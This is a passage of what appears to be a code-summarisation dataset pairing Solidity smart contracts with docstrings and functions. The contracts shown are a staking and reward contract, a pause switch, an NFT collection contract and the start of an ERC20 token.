registerVaultFactory(address factory) external { _admin(); // add factory to set require(_vaultFactorySet.add(factory), "UniStaker: vault factory already registered"); // emit event emit VaultFactoryRegistered(factory); } /// @notice Remove vault factory from whitelist /// @dev use this function to disable new stakes to vaults coming from the specified factory contract. /// note: vaults with existing stakes from this factory are sill able to unstake /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _vaultFactorySet /// token transfer: none /// @param factory address The address of the vault factory function removeVaultFactory(address factory) external { _admin(); // remove factory from set require(_vaultFactorySet.remove(factory), "UniStaker: vault factory not registered"); // emit event emit VaultFactoryRemoved(factory); } /// @notice Register bonus token for distribution /// @dev use this function to enable distribution of any ERC20 held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - only online /// state scope: /// - append to _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function registerBonusToken(address bonusToken) external { _admin(); // verify valid bonus token require(isValidAddress(bonusToken), "invalid bonus token address or is already present"); // verify bonus token count require(_bonusTokenSet.length() < MAX_BONUS_TOKENS, "UniStaker: max bonus tokens reached "); // add token to set _bonusTokenSet.add(bonusToken); // emit event emit BonusTokenRegistered(bonusToken); } /// @notice Remove bonus token /// @dev use this function to disable distribution of a token held by the RewardPool contract /// access control: only admin /// state machine: /// - can be called multiple times /// - not shutdown /// state scope: /// - remove from _bonusTokenSet /// token transfer: none /// @param bonusToken address The address of the bonus token function removeBonusToken(address bonusToken) external { _admin(); require(_bonusTokenSet.remove(bonusToken), "UniStaker: bonus token not present "); // emit event emit BonusTokenRemoved(bonusToken); } function addRewardCalcTemplate(string calldata name, address template) external { _admin(); require(rewardCalcTemplates[name] == address(0), "Template already exists"); rewardCalcTemplates[name] = template; if(rewardCalcTemplateNames.length == 0) { activeRewardCalcTemplate = name; emit RewardCalcTemplateActive(name, template); } rewardCalcTemplateNames.push(name); emit RewardCalcTemplateAdded(name, template); } function setRewardCalcActiveTemplate(string calldata name) external { _admin(); require(rewardCalcTemplates[name] != address(0), "Template does not exist"); activeRewardCalcTemplate = name; emit RewardCalcTemplateActive(name, rewardCalcTemplates[name]); } function startLMRewards(address token, uint256 amount, uint256 duration) external { startLMRewards(token, amount, duration, activeRewardCalcTemplate); } function startLMRewards(address token, uint256 amount, uint256 duration, string memory rewardCalcTemplateName) public { _admin(); require(lmRewards[token].startedAt == 0, "A reward program already live for this token"); require(rewardCalcTemplates[rewardCalcTemplateName] != address(0), "Reward Calculator Template does not exist"); // create reward calc clone from template address rewardCalcInstance = ProxyFactory._create(rewardCalcTemplates[rewardCalcTemplateName], abi.encodeWithSelector(IERC2917.initialize.selector)); LMRewardData storage lmrd = lmRewards[token]; lmrd.amount = amount; lmrd.duration = duration; lmrd.startedAt = block.timestamp; lmrd.rewardCalcInstance = rewardCalcInstance; } function setImplementorForRewardsCalculator(address token, address newImplementor) public { _admin(); require(lmRewards[token].startedAt != 0, "No reward program currently live for this token"); address rewardCalcInstance = lmRewards[token].rewardCalcInstance; IERC2917(rewardCalcInstance).setImplementor(newImplementor); } function setLMRewardsPerBlock(address token, uint value) public onlyOnline { _admin(); require(lmRewards[token].startedAt != 0, "No reward program currently live for this token"); address rewardCalcInstance = lmRewards[token].rewardCalcInstance; IERC2917(rewardCalcInstance).changeInterestRatePerBlock(value); } function addBonusTokenToLMRewards(address lmToken, address bonusToken, uint256 bonusTokenAmount) public { _admin(); require(lmRewards[lmToken].startedAt != 0, "No reward program currently live for this LM token"); require(_bonusTokenSet.contains(bonusToken), "Bonus token not registered"); lmRewards[lmToken].bonusTokens.add(bonusToken); lmRewards[lmToken].bonusTokenAmounts[bonusToken] = lmRewards[lmToken].bonusTokenAmounts[bonusToken].add(bonusTokenAmount); } function endLMRewards(address token, bool removeBonusTokenData) public { _admin(); lmRewards[token].amount = 0; lmRewards[token].duration = 0; lmRewards[token].startedAt = 0; lmRewards[token].rewardCalcInstance = address(0); if (removeBonusTokenData) { for (uint index = 0; index < lmRewards[token].bonusTokens.length(); index++) { address bonusToken = lmRewards[token].bonusTokens.at(index); lmRewards[token].bonusTokens.remove(bonusToken); delete lmRewards[token].bonusTokenAmounts[bonusToken]; } } } function setWeeklyAirdropAmount(string calldata tier, uint256 amount) external { _admin(); weeklyAirdropAmounts[tier] = amount; } function setBalanceRequiredToClaim(string calldata tier, uint256 amount) external { _admin(); balancesRequiredToClaim[tier] = amount; } function setMaxStakesPerVault(uint256 amount) external { _admin(); MAX_TOKENS_STAKED_PER_VAULT = amount; } function setMaxBonusTokens(uint256 amount) external { _admin(); MAX_BONUS_TOKENS = amount; } function setMinRewardClaimFrequency(uint256 amount) external { _admin(); MIN_AIRDROP_REWARD_CLAIM_FREQUENCY = amount; } function setPlatinumLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); PLATINUM_LM_REWARD_MULTIPLIER_NUM = numerator; PLATINUM_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setGoldLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); GOLD_LM_REWARD_MULTIPLIER_NUM = numerator; GOLD_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setMintLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); MINT_LM_REWARD_MULTIPLIER_NUM = numerator; MINT_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setBlackLMRewardMultiplier(uint256 numerator, uint256 denominator) external { _admin(); BLACK_LM_REWARD_MULTIPLIER_NUM = numerator; BLACK_LM_REWARD_MULTIPLIER_DENOM = denominator; } function setLMRewardVestingPeriod(uint256 amount) external { _admin(); LM_REWARD_VESTING_PERIOD = amount; } function setLMRewardVestingPortion(uint256 numerator, uint denominator) external { _admin(); LM_REWARD_VESTING_PORTION_NUM = numerator; LM_REWARD_VESTING_PORTION_DENOM = denominator; } /* getter functions */ function getBonusTokenSetLength() external view override returns (uint256 length) { return _bonusTokenSet.length(); } function getBonusTokenAtIndex(uint256 index) external view override returns (address bonusToken) { return _bonusTokenSet.at(index); } function getVaultFactorySetLength() external view override returns (uint256 length) { return _vaultFactorySet.length(); } function getVaultFactoryAtIndex(uint256 index) external view override returns (address factory) { return _vaultFactorySet.at(index); } function getNumVaults() external view override returns (uint256 num) { return _vaultSet.length(); } function getVaultAt(uint256 index) external view override returns (address vault) { return _vaultSet.at(index); } function getNumTokensStaked() external view override returns (uint256 num) { return _allStakedTokens.length(); } function getTokenStakedAt(uint256 index) external view override returns (address token) { return _allStakedTokens.at(index); } function getNumTokensStakedInVault(address vault) external view override returns (uint256 num) { return _vaults[vault].tokens.length(); } function getVaultTokenAtIndex(address vault, uint256 index) external view override returns (address vaultToken) { return _vaults[vault].tokens.at(index); } function getVaultTokenStake(address vault, address token) external view override returns (uint256 tokenStake) { return _vaults[vault].tokenStake[token]; } function getNftTier(uint256 nftId, address nftFactory) public view returns (string memory tier) { uint256 serialNumber = MethodNFTFactory(nftFactory).tokenIdToSerialNumber(nftId); if (serialNumber >= 1 && serialNumber <= 100) { tier = PLATINUM; } else if (serialNumber >= 101 && serialNumber <= 1000) { tier = GOLD; } else if (serialNumber >= 1001 && serialNumber <= 5000) { tier = MINT; } else if (serialNumber >= 5001) { tier = BLACK; } } function getNftsOfOwner(address owner, address nftFactory) public view returns (uint256[] memory nftIds) { uint256 balance = MethodNFTFactory(nftFactory).balanceOf(owner); nftIds = new uint256[](balance); for (uint256 index = 0; index < balance; index++) { uint256 nftId = MethodNFTFactory(nftFactory).tokenOfOwnerByIndex(owner, index); nftIds[index] = nftId; } } function getLMRewardData(address token) external view override returns (uint amount, uint duration, uint startedAt, address rewardCalcInstance) { return (lmRewards[token].amount, lmRewards[token].duration, lmRewards[token].startedAt, lmRewards[token].rewardCalcInstance); } function getLMRewardBonusTokensLength(address token) external view override returns (uint length) { return lmRewards[token].bonusTokens.length(); } function getLMRewardBonusTokenAt(address token, uint index) external view override returns (address bonusToken, uint bonusTokenAmount) { return (lmRewards[token].bonusTokens.at(index), lmRewards[token].bonusTokenAmounts[lmRewards[token].bonusTokens.at(index)]); } function getNumVestingLMTokenRewards(address user) external view override returns (uint num) { return vestingLMTokenRewards[user].length(); } function getVestingLMTokenAt(address user, uint index) external view override returns (address token) { return vestingLMTokenRewards[user].at(index); } function getNumVests(address user, address token) external view override returns (uint num) { return vestingLMRewards[user][token].length; } function getLMRewardVestingData(address user, address token, uint index) external view override returns (uint amount, uint startedAt) { return (vestingLMRewards[user][token][index].amount, vestingLMRewards[user][token][index].startedAt); } function getNumRewardCalcTemplates() external view override returns (uint num) { return rewardCalcTemplateNames.length; } /* helper functions */ function isValidVault(address vault, address factory) public view override returns (bool validity) { // validate vault is created from whitelisted vault factory and is an instance of that factory return _vaultFactorySet.contains(factory) && IInstanceRegistry(factory).isInstance(vault); } function isValidAddress(address target) public view override returns (bool validity) { // sanity check target for potential input errors return target != address(this) && target != address(0) && target != rewardToken && target != rewardPool && !_bonusTokenSet.contains(target); } function calculateAirdropReward(address owner, address nftFactory) public returns (uint256 amount, uint256 balanceRequiredToClaim, uint256 balanceLocked) { uint256[] memory nftIds = getNftsOfOwner(owner, nftFactory); return calculateAirdropReward(nftFactory, nftIds); } function calculateAirdropReward(address nftFactory, uint256[] memory nftIds) public returns (uint256 amount, uint256 balanceRequiredToClaim, uint256 balanceLocked) { for (uint256 index = 0; index < nftIds.length; index++) { uint256 nftId = nftIds[index]; (uint256 amnt, uint256 balRequired, uint256 balLocked) = calculateAirdropReward(nftFactory, nftId); amount = amount.add(amnt); balanceRequiredToClaim = balanceRequiredToClaim.add(balRequired); balanceLocked = balanceLocked.add(balLocked); } } function calculateAirdropReward(address nftFactory, uint256 nftId) public returns (uint256 amount, uint256 balanceRequiredToClaim, uint256 balanceLocked) { address vaultAddress = address(nftId); require(isValidVault(vaultAddress, nftFactory), "UniStaker: vault is not valid"); // first ever claim if (nftLastClaimedRewardAt[nftId] == 0) { nftLastClaimedRewardAt[nftId] = block.timestamp; return (0,0,0); } uint256 secondsSinceLastClaim = block.timestamp.sub(nftLastClaimedRewardAt[nftId]); require(secondsSinceLastClaim > MIN_AIRDROP_REWARD_CLAIM_FREQUENCY, "Claimed reward recently"); // get tier string memory tier = getNftTier(nftId, nftFactory); // get balance locked of reward token (MTHD) uint256 balanceLockedInVault = IUniversalVault(vaultAddress).getBalanceLocked(rewardToken); balanceLocked = balanceLocked.add(balanceLockedInVault); // get number of epochs since last claim uint256 epochsSinceLastClaim = secondsSinceLastClaim.div(MIN_AIRDROP_REWARD_CLAIM_FREQUENCY); uint256 accruedReward; bytes32 tierHash = keccak256(abi.encodePacked(tier)); if (tierHash == keccak256(abi.encodePacked(PLATINUM))) { accruedReward = weeklyAirdropAmounts[PLATINUM].mul(epochsSinceLastClaim); amount = amount.add(accruedReward); balanceRequiredToClaim = balanceRequiredToClaim.add(balancesRequiredToClaim[PLATINUM]); } else if (tierHash == keccak256(abi.encodePacked(GOLD))) { accruedReward = weeklyAirdropAmounts[GOLD].mul(epochsSinceLastClaim); amount = amount.add(accruedReward); balanceRequiredToClaim = balanceRequiredToClaim.add(balancesRequiredToClaim[GOLD]); } else if (tierHash == keccak256(abi.encodePacked(MINT))) { accruedReward = weeklyAirdropAmounts[MINT].mul(epochsSinceLastClaim); amount = amount.add(accruedReward); balanceRequiredToClaim = balanceRequiredToClaim.add(balancesRequiredToClaim[MINT]); } else if (tierHash == keccak256(abi.encodePacked(BLACK))) { accruedReward = weeklyAirdropAmounts[BLACK].mul(epochsSinceLastClaim); amount = amount.add(accruedReward); balanceRequiredToClaim = balanceRequiredToClaim.add(balancesRequiredToClaim[BLACK]); } } /* convenience functions */ function _processAirdropRewardClaim(address nftFactory, uint256[] memory nftIds) private { (uint256 amount, uint256 balanceRequiredToClaim, uint256 balanceLocked) = calculateAirdropReward(nftFactory, nftIds); require(balanceLocked > balanceRequiredToClaim, "Insufficient MTHD tokens staked for claiming airdrop reward"); // update claim times _updateClaimTimes(nftIds); // send out IRewardPool(rewardPool).sendERC20(rewardToken, msg.sender, amount); emit RewardClaimed(nftFactory, msg.sender, rewardToken, amount); } function _updateClaimTimes(uint256[] memory nftIds) private { for (uint256 index = 0; index < nftIds.length; index++) { uint256 nftId = nftIds[index]; nftLastClaimedRewardAt[nftId] = block.timestamp; } } function _tierMultipliedReward(uint nftId, address nftFactory, uint reward) private view returns (uint multipliedReward) { // get tier string memory tier = getNftTier(nftId, nftFactory); bytes32 tierHash = keccak256(abi.encodePacked(tier)); if (tierHash == keccak256(abi.encodePacked(PLATINUM))) { multipliedReward = reward.mul(PLATINUM_LM_REWARD_MULTIPLIER_NUM).div(PLATINUM_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(GOLD))) { multipliedReward = reward.mul(GOLD_LM_REWARD_MULTIPLIER_NUM).div(GOLD_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(MINT))) { multipliedReward = reward.mul(MINT_LM_REWARD_MULTIPLIER_NUM).div(MINT_LM_REWARD_MULTIPLIER_DENOM); } else if (tierHash == keccak256(abi.encodePacked(BLACK))) { multipliedReward = reward.mul(BLACK_LM_REWARD_MULTIPLIER_NUM).div(BLACK_LM_REWARD_MULTIPLIER_DENOM); } } /* user functions */ /// @notice Exit UniStaker without claiming reward /// @dev This function should never revert when correctly called by the vault. /// A max number of tokens staked per vault is set with MAX_TOKENS_STAKED_PER_VAULT to /// place an upper bound on the for loop. /// access control: callable by anyone but fails if caller is not an approved vault /// state machine: /// - when vault exists on this UniStaker /// - when active stake from this vault /// - any power state /// state scope: /// - decrease stakedTokenTotal[token], delete if 0 /// - delete _vaults[vault].tokenStake[token] /// - remove _vaults[vault].tokens.remove(token) /// - delete _vaults[vault] /// - remove vault from _vaultSet /// - remove token from _allStakedTokens if required /// token transfer: none function rageQuit() external override { require(_vaultSet.contains(msg.sender), "UniStaker: no vault"); //fetch vault storage reference VaultData storage vaultData = _vaults[msg.sender]; // revert if no active tokens staked EnumerableSet.AddressSet storage vaultTokens = vaultData.tokens; require(vaultTokens.length() > 0, "UniStaker: no stake"); // update totals for (uint256 index = 0; index < vaultTokens.length(); index++) { address token = vaultTokens.at(index); vaultTokens.remove(token); uint256 amount = vaultData.tokenStake[token]; uint256 newTotal = stakedTokenTotal[token].sub(amount); assert(newTotal >= 0); if (newTotal == 0) { _allStakedTokens.remove(token); delete stakedTokenTotal[token]; } else { stakedTokenTotal[token] = newTotal; } delete vaultData.tokenStake[token]; } // delete vault data _vaultSet.remove(msg.sender); delete _vaults[msg.sender]; // emit event emit RageQuit(msg.sender); } /// @notice Stake tokens /// @dev anyone can stake to any vault if they have valid permission /// access control: anyone /// state machine: /// - can be called multiple times /// - only online /// - when vault exists on this UniStaker /// state scope: /// - add token to _vaults[vault].tokens if not already exists /// - increase _vaults[vault].tokenStake[token] /// - add vault to _vaultSet if not already exists /// - add token to _allStakedTokens if not already exists /// - increase stakedTokenTotal[token] /// token transfer: transfer staking tokens from msg.sender to vault /// @param vault address The address of the vault to stake to /// @param vaultFactory address The address of the vault factory which created the vault /// @param token address The address of the token being staked /// @param amount uint256 The amount of tokens to stake function stake( address vault, address vaultFactory, address token, uint256 amount, bytes calldata permission ) external override onlyOnline { // verify vault is valid require(isValidVault(vault, vaultFactory), "UniStaker: vault is not valid"); // verify non-zero amount require(amount != 0, "UniStaker: no amount staked"); // check sender balance require(IERC20(token).balanceOf(msg.sender) >= amount, "insufficient token balance"); // add vault to set _vaultSet.add(vault); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify stakes boundary not reached require(vaultData.tokens.length() < MAX_TOKENS_STAKED_PER_VAULT, "UniStaker: MAX_TOKENS_STAKED_PER_VAULT reached"); // add token to set and increase amount vaultData.tokens.add(token); vaultData.tokenStake[token] = vaultData.tokenStake[token].add(amount); // update total token staked _allStakedTokens.add(token); stakedTokenTotal[token] = stakedTokenTotal[token].add(amount); // perform transfer TransferHelper.safeTransferFrom(token, msg.sender, vault, amount); // call lock on vault IUniversalVault(vault).lock(token, amount, permission); // check if there is a reward program currently running if (lmRewards[token].startedAt != 0) { address rewardCalcInstance = lmRewards[token].rewardCalcInstance; (,uint rewardEarned,) = IERC2917(rewardCalcInstance).increaseProductivity(msg.sender, amount); earnedLMRewards[msg.sender][token] = earnedLMRewards[msg.sender][token].add(rewardEarned); } // emit event emit Staked(vault, amount); } /// @notice Unstake tokens and claim reward /// @dev LM rewards can only be claimed when unstaking /// access control: anyone with permission /// state machine: /// - when vault exists on this UniStaker /// - after stake from vault /// - can be called multiple times while sufficient stake remains /// - only online /// state scope: /// - decrease _vaults[vault].tokenStake[token] /// - delete token from _vaults[vault].tokens if token stake is 0 /// - decrease stakedTokenTotal[token] /// - delete token from _allStakedTokens if total token stake is 0 /// token transfer: /// - transfer reward tokens from reward pool to recipient /// - transfer bonus tokens from reward pool to recipient /// @param vault address The vault to unstake from /// @param vaultFactory address The vault factory that created this vault /// @param recipient address The recipient to send reward to /// @param token address The staking token /// @param amount uint256 The amount of staking tokens to unstake /// @param claimBonusReward bool flag to claim bonus rewards function unstakeAndClaim( address vault, address vaultFactory, address recipient, address token, uint256 amount, bool claimBonusReward, bytes calldata permission ) external override onlyOnline { require(_vaultSet.contains(vault), "UniStaker: no vault"); // fetch vault storage reference VaultData storage vaultData = _vaults[vault]; // verify non-zero amount require(amount != 0, "UniStaker: no amount unstaked"); // validate recipient require(isValidAddress(recipient), "UniStaker: invalid recipient"); // check for sufficient vault stake amount require(vaultData.tokens.contains(token), "UniStaker: no token in vault"); // check for sufficient vault stake amount require(vaultData.tokenStake[token] >= amount, "UniStaker: insufficient vault token stake"); // check for sufficient total token stake amount // if the above check succeeds and this check fails, there is a bug in stake accounting require(stakedTokenTotal[token] >= amount, "stakedTokenTotal[token] is less than amount being unstaked"); // check if there is a reward program currently running uint rewardEarned = earnedLMRewards[msg.sender][token]; if (lmRewards[token].startedAt != 0) { address rewardCalcInstance = lmRewards[token].rewardCalcInstance; (,uint newReward,) = IERC2917(rewardCalcInstance).decreaseProductivity(msg.sender, amount); rewardEarned = rewardEarned.add(newReward); } // decrease totalStake of token in this vault vaultData.tokenStake[token] = vaultData.tokenStake[token].sub(amount); if (vaultData.tokenStake[token] == 0) { vaultData.tokens.remove(token); delete vaultData.tokenStake[token]; } // decrease stakedTokenTotal across all vaults stakedTokenTotal[token] = stakedTokenTotal[token].sub(amount); if (stakedTokenTotal[token] == 0) { _allStakedTokens.remove(token); delete stakedTokenTotal[token]; } // unlock staking tokens from vault IUniversalVault(vault).unlock(token, amount, permission); // emit event emit Unstaked(vault, amount); // only perform on non-zero reward if (rewardEarned > 0) { // transfer bonus tokens from reward pool to recipient // bonus tokens can only be claimed during an active rewards program if (claimBonusReward && lmRewards[token].startedAt != 0) { for (uint256 index = 0; index < lmRewards[token].bonusTokens.length(); index++) { // fetch bonus token address reference address bonusToken = lmRewards[token].bonusTokens.at(index); // calculate bonus token amount // bonusAmount = rewardEarned * allocatedBonusReward / allocatedMainReward uint256 bonusAmount = rewardEarned.mul(lmRewards[token].bonusTokenAmounts[bonusToken]).div(lmRewards[token].amount); // transfer bonus token IRewardPool(rewardPool).sendERC20(bonusToken, recipient, bonusAmount); // emit event emit RewardClaimed(vault, recipient, bonusToken, bonusAmount); } } // take care of multiplier uint multipliedReward = _tierMultipliedReward(uint(vault), vaultFactory, rewardEarned); // take care of vesting uint vestingPortion = multipliedReward.mul(LM_REWARD_VESTING_PORTION_NUM).div(LM_REWARD_VESTING_PORTION_DENOM); vestingLMRewards[msg.sender][token].push(LMRewardVestingData(vestingPortion, block.timestamp)); vestingLMTokenRewards[msg.sender].add(token); // set earned reward to 0 earnedLMRewards[msg.sender][token] = 0; // transfer reward tokens from reward pool to recipient IRewardPool(rewardPool).sendERC20(rewardToken, recipient, multipliedReward.sub(vestingPortion)); // emit event emit RewardClaimed(vault, recipient, rewardToken, rewardEarned); } } function claimAirdropReward(address nftFactory) external override onlyOnline { uint256[] memory nftIds = getNftsOfOwner(msg.sender, nftFactory); _processAirdropRewardClaim(nftFactory, nftIds); } function claimAirdropReward(address nftFactory, uint256[] calldata nftIds) external override onlyOnline { _processAirdropRewardClaim(nftFactory, nftIds); } function claimVestedReward() external override onlyOnline { uint numTokens = vestingLMTokenRewards[msg.sender].length(); for (uint index = 0; index < numTokens; index++) { address token = vestingLMTokenRewards[msg.sender].at(index); claimVestedReward(token, vestingLMRewards[msg.sender][token].length); } } function claimVestedReward(address token) external override onlyOnline { claimVestedReward(token, vestingLMRewards[msg.sender][token].length); } function claimVestedReward(address token, uint numVests) public onlyOnline { require(numVests <= vestingLMRewards[msg.sender][token].length, "num vests can't be greater than available vests"); LMRewardVestingData[] storage vests = vestingLMRewards[msg.sender][token]; uint vestedReward; for (uint index = 0; index < numVests; index++) { LMRewardVestingData storage vest = vests[index]; uint duration = block.timestamp.sub(vest.startedAt); uint vested = vest.amount.mul(duration).div(LM_REWARD_VESTING_PERIOD); if (vested >= vest.amount) { // completely vested vested = vest.amount; // copy last element into this slot and pop last vests[index] = vests[vests.length - 1]; vests.pop(); index--; numVests--; // if all vested remove from set if (vests.length == 0) { vestingLMTokenRewards[msg.sender].remove(token); break; } } else { vest.amount = vest.amount.sub(vested); } vestedReward = vestedReward.add(vested); } if (vestedReward > 0) { // transfer reward tokens from reward pool to recipient IRewardPool(rewardPool).sendERC20(rewardToken, msg.sender, vestedReward); // emit event emit VestedRewardClaimed(msg.sender, rewardToken, vestedReward); } } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; interface IPowerSwitch { /* admin events */ event PowerOn(); event PowerOff(); event EmergencyShutdown(); /* data types */ enum State {Online, Offline, Shutdown} /* admin functions */ function powerOn() external; function powerOff() external; function emergencyShutdown() external; /* view functions */ function isOnline() external view returns (bool status); function isOffline() external view returns (bool status); function isShutdown() external view returns (bool status); function getStatus() external view returns (State status); function getPowerController() external view returns (address controller); } /// @title PowerSwitch /// @notice Standalone pausing and emergency stop functionality contract PowerSwitch is IPowerSwitch, Ownable { /* storage */ IPowerSwitch.State private _status; /* initializer */ constructor(address owner) { // sanity check owner require(owner != address(0), "PowerSwitch: invalid owner"); // transfer ownership Ownable.transferOwnership(owner); } /* admin functions */ /// @notice Turn Power On /// access control: only owner /// state machine: only when offline /// state scope: only modify _status /// token transfer: none function powerOn() external override onlyOwner { require(_status == IPowerSwitch.State.Offline, "PowerSwitch: cannot power on"); _status = IPowerSwitch.State.Online; emit PowerOn(); } /// @notice Turn Power Off /// access control: only owner /// state machine: only when online /// state scope: only modify _status /// token transfer: none function powerOff() external override onlyOwner { require(_status == IPowerSwitch.State.Online, "PowerSwitch: cannot power off"); _status = IPowerSwitch.State.Offline; emit PowerOff(); } /// @notice Shutdown Permanently /// access control: only owner /// state machine: /// - when online or offline /// - can only be called once /// state scope: only modify _status /// token transfer: none function emergencyShutdown() external override onlyOwner { require(_status != IPowerSwitch.State.Shutdown, "PowerSwitch: cannot shutdown"); _status = IPowerSwitch.State.Shutdown; emit EmergencyShutdown(); } /* getter functions */ function isOnline() external view override returns (bool status) { return _status == IPowerSwitch.State.Online; } function isOffline() external view override returns (bool status) { return _status == IPowerSwitch.State.Offline; } function isShutdown() external view override returns (bool status) { return _status == IPowerSwitch.State.Shutdown; } function getStatus() external view override returns (IPowerSwitch.State status) { return _status; } function getPowerController() external view override returns (address controller) { return Ownable.owner(); } }
Remove vault factory from whitelist use this function to disable new stakes to vaults coming from the specified factory contract. note: vaults with existing stakes from this factory are sill able to unstake access control: only admin state machine: - can be called multiple times - not shutdown state scope: - remove from _vaultFactorySet token transfer: none factory address The address of the vault factory remove factory from set emit event
function removeVaultFactory(address factory) external { _admin(); require(_vaultFactorySet.remove(factory), "UniStaker: vault factory not registered"); emit VaultFactoryRemoved(factory); }
166,122
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; /// @title Single Image Collection NFT Contract /// @notice Creates an NFT Collection where each token has the same image /// @notice If you want to be a free nft colection, just delete line 20 and line 44 /// This contract is not audited, so use at your own risk contract SingleImage is ERC721Enumerable, Ownable { using Strings for uint256; /// You’ll need to upload the metadata files on IPFS or any other platform /// and follow the metadata standards https://docs.opensea.io/docs/metadata-standards string URI = "ipfs://your-CID/metadata.json"; uint256 public maxSupply = 5; uint256 public limitPerAddress = 1; uint256 public cost = 0.001 ether; bool public paused = false; mapping(address => uint256) public addressMintedBalance; constructor( ) ERC721("Collection Name", "SYMBOL") { for(uint256 i = 1; i <= 5; i++) { mint(); } } function _baseURI() internal view virtual override returns (string memory) { return URI; } /// @notice Mint a new Token, owner of this contract can use this function without costs. function mint() public payable { uint256 supply = totalSupply(); require(!paused); require(supply + 1 <= maxSupply, "Can't mint more than available token count"); require( tx.origin == msg.sender, "Can't mint through a custom contract"); if(msg.sender != owner()) { require(msg.value >= cost, "insufficient funds"); require(addressMintedBalance[msg.sender] + 1 <= limitPerAddress, "This address already minted the limit permitted."); } _safeMint(msg.sender, supply + 1); addressMintedBalance[msg.sender]++; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); return URI; } //only owner /// @notice Upgrade the available supply of the collection /// @param _newmaxSupply value of the new supply for the collection function setmaxSupply(uint256 _newmaxSupply) public onlyOwner { require (_newmaxSupply > maxSupply, "new max supply lower than the previous one"); maxSupply = _newmaxSupply; } /// @notice change the state for access mint function function pause(bool _state) public onlyOwner { paused = _state; } /// @notice Owner withdraws the available amount of this contract function withdraw() public payable onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } }
Upgrade the available supply of the collection _newmaxSupply value of the new supply for the collection
function setmaxSupply(uint256 _newmaxSupply) public onlyOwner { require (_newmaxSupply > maxSupply, "new max supply lower than the previous one"); maxSupply = _newmaxSupply; }
13,121,671
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return _a / _b; } /** /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpauseunpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function 